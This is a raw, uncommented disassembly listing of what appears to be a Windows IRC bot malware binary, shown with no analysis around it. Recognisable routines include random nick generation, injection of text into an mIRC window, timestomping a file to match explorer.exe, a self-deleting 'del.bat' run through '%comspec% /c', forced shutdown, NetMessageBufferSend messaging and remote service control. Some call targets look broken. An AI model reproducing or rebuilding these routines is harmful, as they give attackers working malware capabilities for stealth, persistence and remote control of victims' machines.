mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5B: ; CODE XREF: sub_417ADE+111j
; sub_417ADE+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C1E0
add esp, 0Ch
loc_417C6E: ; CODE XREF: sub_417ADE+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AFE0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41D648
pop ecx
test eax, eax
pop ecx
jnz loc_417ED6
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_417DCD
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
call sub_41C798
cmp esi, 3
jz short loc_417CDC
cmp eax, 1
jnz loc_417DCD
loc_417CDC: ; CODE XREF: sub_417ADE+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1E
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E0
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D3A
; ---------------------------------------------------------------------------
loc_417D1E: ; CODE XREF: sub_417ADE+207j
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D3A: ; CODE XREF: sub_417ADE+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
cmp esi, 3
jz short loc_417D63
cmp eax, ebx
jnz short loc_417DCD
loc_417D63: ; CODE XREF: sub_417ADE+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA8
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E0
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417DC6
; ---------------------------------------------------------------------------
loc_417DA8: ; CODE XREF: sub_417ADE+28Fj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417DC6: ; CODE XREF: sub_417ADE+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_417DCD: ; CODE XREF: sub_417ADE+1C9j
; sub_417ADE+1F8j ...
cmp esi, 6
jge loc_417E56
cmp esi, 5
jge short loc_417DEE
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E8
jmp short loc_417E0C
; ---------------------------------------------------------------------------
loc_417DEE: ; CODE XREF: sub_417ADE+2FBj
call sub_41B8E2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
loc_417E0C: ; CODE XREF: sub_417ADE+30Ej
call sub_41C798
test eax, eax
jnz short loc_417E2F
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
mov cl, 30h
jmp short loc_417E4C
; ---------------------------------------------------------------------------
loc_417E2F: ; CODE XREF: sub_417ADE+335j
cmp eax, 1
jnz short loc_417E56
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
mov cl, 41h
loc_417E4C: ; CODE XREF: sub_417ADE+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417E56: ; CODE XREF: sub_417ADE+2F2j
; sub_417ADE+354j
cmp [ebp+var_C], 2
jge short loc_417ED6
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E0
call sub_41C798
cmp eax, 1
jnz short loc_417ED6
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41C798
cmp eax, 1
jnz short loc_417ED6
cmp [ebp+var_C], eax
jge short loc_417ED6
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED6: ; CODE XREF: sub_417ADE+1B1j
; sub_417ADE+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B5F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EEF proc near ; CODE XREF: sub_401ACD+BECp
; sub_401ACD+C29p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417F7A
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417F7A
cmp [ebp+arg_8], esi
jz short loc_417F7A
cmp byte ptr [eax], 0
jz short loc_417F7A
push ebx
push edi
call sub_426464
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F75
push [ebp+arg_4]
push edi
call sub_41B900
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6E
sub eax, edi
push eax
push edi
push ebx
call sub_41B5F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AFE0
push eax
push [ebp+arg_8]
push ebx
call sub_41C1E0
push [ebp+arg_4]
call sub_41AFE0
add eax, esi
push eax
push ebx
call sub_41BEC0
push ebx
push edi
call sub_41BEB0
add esp, 30h
mov esi, edi
loc_417F6E: ; CODE XREF: sub_417EEF+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F75: ; CODE XREF: sub_417EEF+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7C
; ---------------------------------------------------------------------------
loc_417F7A: ; CODE XREF: sub_417EEF+Cj
; sub_417EEF+13j ...
xor eax, eax
loc_417F7C: ; CODE XREF: sub_417EEF+89j
pop edi
pop esi
pop ebp
retn
sub_417EEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F80 proc near ; CODE XREF: sub_401955+E9p
; ___:004102F1p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B590
mov esi, [ebp+arg_0]
push esi
call sub_41AFE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB6
or eax, 0FFFFFFFFh
jmp short loc_418029
; ---------------------------------------------------------------------------
loc_417FB6: ; CODE XREF: sub_417F80+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_417FD8
loc_417FC2: ; CODE XREF: sub_417F80+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCF
cmp dl, 0Dh
jnz short loc_417FD3
loc_417FCF: ; CODE XREF: sub_417F80+48j
and byte ptr [ecx+esi], 0
loc_417FD3: ; CODE XREF: sub_417F80+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC2
loc_417FD8: ; CODE XREF: sub_417F80+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418009
lea edi, [ebp+var_7CC]
loc_417FE5: ; CODE XREF: sub_417F80+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418004
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418004
cmp ebx, 1F4h
jge short loc_418009
mov [edi], ecx
inc ebx
add edi, 4
loc_418004: ; CODE XREF: sub_417F80+69j
; sub_417F80+74j
inc edx
cmp edx, eax
jl short loc_417FE5
loc_418009: ; CODE XREF: sub_417F80+5Dj
; sub_417F80+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418027
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C310
add esp, 0Ch
loc_418027: ; CODE XREF: sub_417F80+8Ej
mov eax, ebx
loc_418029: ; CODE XREF: sub_417F80+34j
pop esi
pop ebx
leave
retn
sub_417F80 endp
; =============== S U B R O U T I N E =======================================
sub_41802D proc near ; CODE XREF: sub_418087+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418066
push ebx
mov ebx, edi
loc_41804A: ; CODE XREF: sub_41802D+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418069
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_41804A
pop ebx
loc_418066: ; CODE XREF: sub_41802D+18j
pop edi
pop esi
retn
sub_41802D endp
; =============== S U B R O U T I N E =======================================
sub_418069 proc near ; CODE XREF: sub_41802D+25p
; sub_418087+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D74C
cmp al, 61h
pop ecx
jl short loc_418084
cmp al, 7Ah
jg short loc_418084
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418084: ; CODE XREF: sub_418069+Ej
; sub_418069+12j
xor eax, eax
retn
sub_418069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418087 proc near ; CODE XREF: ___:0041532Ep
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BB20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AFE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802D
add esp, 14h
dec esi
mov edi, esi
loc_4180C5: ; CODE XREF: sub_418087+B6j
test esi, esi
jle short loc_418143
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D74C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813B
loc_4180EB: ; CODE XREF: sub_418087+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418069
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810C
mov eax, ecx
loc_41810C: ; CODE XREF: sub_418087+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813F
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41D74C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EB
loc_41813B: ; CODE XREF: sub_418087+62j
dec edi
dec esi
jmp short loc_4180C5
; ---------------------------------------------------------------------------
loc_41813F: ; CODE XREF: sub_418087+8Aj
xor eax, eax
jmp short loc_418148
; ---------------------------------------------------------------------------
loc_418143: ; CODE XREF: sub_418087+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418148: ; CODE XREF: sub_418087+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814D proc near ; CODE XREF: sub_401ACD+67A4p
; sub_401ACD+789Fp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call near ptr 26B0857h
nop
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 2800000h
nop
lea eax, [ebp+var_100]
loc_418186: ; CODE XREF: sub_41814D+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418192
cmp cl, 9
jnz short loc_418195
loc_418192: ; CODE XREF: sub_41814D+3Ej
inc eax
jmp short loc_418186
; ---------------------------------------------------------------------------
loc_418195: ; CODE XREF: sub_41814D+43j
; sub_41814D+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AF
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418195
cmp cl, 21h
jl short loc_418195
loc_4181AF: ; CODE XREF: sub_41814D+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DAE0C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814D endp
; =============== S U B R O U T I N E =======================================
sub_4181D7 proc near ; CODE XREF: sub_401ACD+24CBp
push esi
push 0
call dword_4CB624
test eax, eax
jz short loc_41820E
push 1
call dword_4CB644
mov esi, eax
test esi, esi
jz short loc_41820E
push edi
push esi
nop
call near ptr 281060Dh
push esi
mov edi, eax
nop
call near ptr 2810000h
call dword_4CB6A8
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820E: ; CODE XREF: sub_4181D7+Bj
; sub_4181D7+19j
xor eax, eax
pop esi
retn
sub_4181D7 endp
; =============== S U B R O U T I N E =======================================
sub_418212 proc near ; CODE XREF: sub_401ACD+7662p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB660
mov ebp, eax
cmp ebp, esi
jz short loc_41828E
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 28204D6h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 28203A8h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B886
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CB6B0
push esi
push 1
push 4C9h
push ebp
call dword_4CB6B0
push ebx
call near ptr 2820000h
nop
push edi
call near ptr 2690934h
nop
push 1
pop eax
pop ebx
jmp short loc_418290
; ---------------------------------------------------------------------------
loc_41828E: ; CODE XREF: sub_418212+16j
xor eax, eax
loc_418290: ; CODE XREF: sub_418212+7Aj
pop edi
pop esi
pop ebp
retn
sub_418212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418294 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB710
test eax, eax
jz short loc_418333
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418333
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 28306DCh
push ebx
mov ebx, dword_427068
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418333
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call near ptr 2830000h
nop
push esi
call ebx
loc_418333: ; CODE XREF: sub_418294+2Aj
; sub_418294+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418294 endp
; =============== S U B R O U T I N E =======================================
sub_418338 proc near ; CODE XREF: sub_401ACD+16B2p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419652
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB594
neg eax
sbb eax, eax
neg eax
retn
sub_418338 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41835A proc near ; CODE XREF: sub_401ACD+2755p
; ___:0041686Cp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837E
cmp dword_4CB724, esi
jnz short loc_41837E
push esi
call sub_401000
pop ecx
loc_41837E: ; CODE XREF: sub_41835A+13j
; sub_41835A+1Bj
call sub_40B2C0
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 26D0000h
nop
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 27308C8h
mov edi, eax
cmp edi, esi
jbe loc_4184DE
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 2720000h
nop
push edi
nop
call near ptr 2690934h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43D808
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 26B0E4Bh
push eax
nop
call near ptr 26A0000h
lea eax, [ebp+var_15C]
push eax
call near ptr 26B0D2Fh
nop
cmp eax, 0FFFFFFFFh
jz short loc_418486
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 26B0C16h
loc_418486: ; CODE XREF: sub_41835A+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 2840000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2690C14h
loc_4184DE: ; CODE XREF: sub_41835A+72j
pop edi
pop esi
leave
retn
sub_41835A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E2 proc near ; CODE XREF: sub_401ACD+7233p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 270055Dh
cmp [ebp+var_84], 2
jnz short loc_418578
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB5D4
push edi
push eax
call dword_4CB5E4
test eax, eax
jz short loc_41856A
push [ebp+arg_10]
push offset dword_439074
loc_418543: ; CODE XREF: sub_4184E2+94j
lea eax, [ebp+var_294]
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 20h
jmp short loc_4185A2
; ---------------------------------------------------------------------------
loc_41856A: ; CODE XREF: sub_4184E2+57j
nop
call near ptr 26B0857h
push eax
push offset unk_43904C
jmp short loc_418543
; ---------------------------------------------------------------------------
loc_418578: ; CODE XREF: sub_4184E2+3Fj
lea eax, [ebp+var_294]
push offset unk_43901C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 1Ch
loc_4185A2: ; CODE XREF: sub_4184E2+86j
pop edi
leave
retn
sub_4184E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185A5 proc near ; CODE XREF: sub_401ACD+55FFp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 270055Dh
cmp [ebp+var_90], 4
jnz short loc_4185FB
cmp [ebp+var_8C], 0
jnz short loc_4185E4
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FB
leave
retn
; ---------------------------------------------------------------------------
loc_4185E4: ; CODE XREF: sub_4185A5+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F6
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FB
loc_4185F6: ; CODE XREF: sub_4185A5+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FB: ; CODE XREF: sub_4185A5+27j
; sub_4185A5+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
nop
call near ptr 26E0000h
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call near ptr 26E0353h
nop
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41D834
lea eax, [ebp+var_F8]
push eax
call sub_41D817
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 27C04C9h
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418685 proc near ; CODE XREF: sub_40111D+F7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call near ptr 26C066Dh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276F8
call sub_41C798
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418685 endp
; =============== S U B R O U T I N E =======================================
sub_4186C2 proc near ; CODE XREF: sub_401ACD:loc_406127p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41871A
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439098[esi]
push edi
push eax
call sub_41873C
add esp, 14h
test eax, eax
jnz short loc_41870A
push edi
push off_439094[esi]
push offset unk_4391A8
loc_4186FA: ; CODE XREF: sub_4186C2+56j
mov esi, offset dword_4DB6D0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418737
; ---------------------------------------------------------------------------
loc_41870A: ; CODE XREF: sub_4186C2+2Aj
push eax
call sub_4187DE
pop ecx
push eax
push edi
push offset unk_43917C
jmp short loc_4186FA
; ---------------------------------------------------------------------------
loc_41871A: ; CODE XREF: sub_4186C2+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DB6D0
push off_439090[eax*4]
push offset unk_439158
push esi
call sub_41B886
add esp, 0Ch
loc_418737: ; CODE XREF: sub_4186C2+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873C proc near ; CODE XREF: sub_4186C2+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB648
mov edi, eax
cmp edi, ebx
jnz short loc_418763
nop
call near ptr 26B0857h
mov ebx, eax
jmp short loc_4187D8
; ---------------------------------------------------------------------------
loc_418763: ; CODE XREF: sub_41873C+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB530
mov esi, eax
cmp esi, ebx
jnz short loc_418783
nop
call near ptr 26B0857h
mov ebx, eax
jmp short loc_4187D0
; ---------------------------------------------------------------------------
loc_418783: ; CODE XREF: sub_41873C+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B6
cmp eax, 3
jz short loc_4187A7
jle short loc_4187C9
cmp eax, 6
jg short loc_4187C9
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB59C
jmp short loc_4187BD
; ---------------------------------------------------------------------------
loc_4187A7: ; CODE XREF: sub_41873C+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB538
jmp short loc_4187BD
; ---------------------------------------------------------------------------
loc_4187B6: ; CODE XREF: sub_41873C+4Dj
push esi
call dword_4CB5A0
loc_4187BD: ; CODE XREF: sub_41873C+69j
; sub_41873C+78j
test eax, eax
jnz short loc_4187C9
call near ptr 26B0857h
nop
mov ebx, eax
loc_4187C9: ; CODE XREF: sub_41873C+54j
; sub_41873C+59j ...
push esi
call dword_4CB54C
loc_4187D0: ; CODE XREF: sub_41873C+45j
push edi
call dword_4CB54C
pop esi
loc_4187D8: ; CODE XREF: sub_41873C+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873C endp
; =============== S U B R O U T I N E =======================================
sub_4187DE proc near ; CODE XREF: sub_4186C2+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418893
jz loc_41888C
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418856
jz short loc_41884C
mov ecx, eax
sub ecx, 3
jz short loc_418842
dec ecx
dec ecx
jz short loc_418838
dec ecx
jz short loc_41882E
sub ecx, 51h
jz short loc_418824
sub ecx, 24h
jnz loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418824: ; CODE XREF: sub_4187DE+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_41882E: ; CODE XREF: sub_4187DE+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418838: ; CODE XREF: sub_4187DE+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418842: ; CODE XREF: sub_4187DE+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
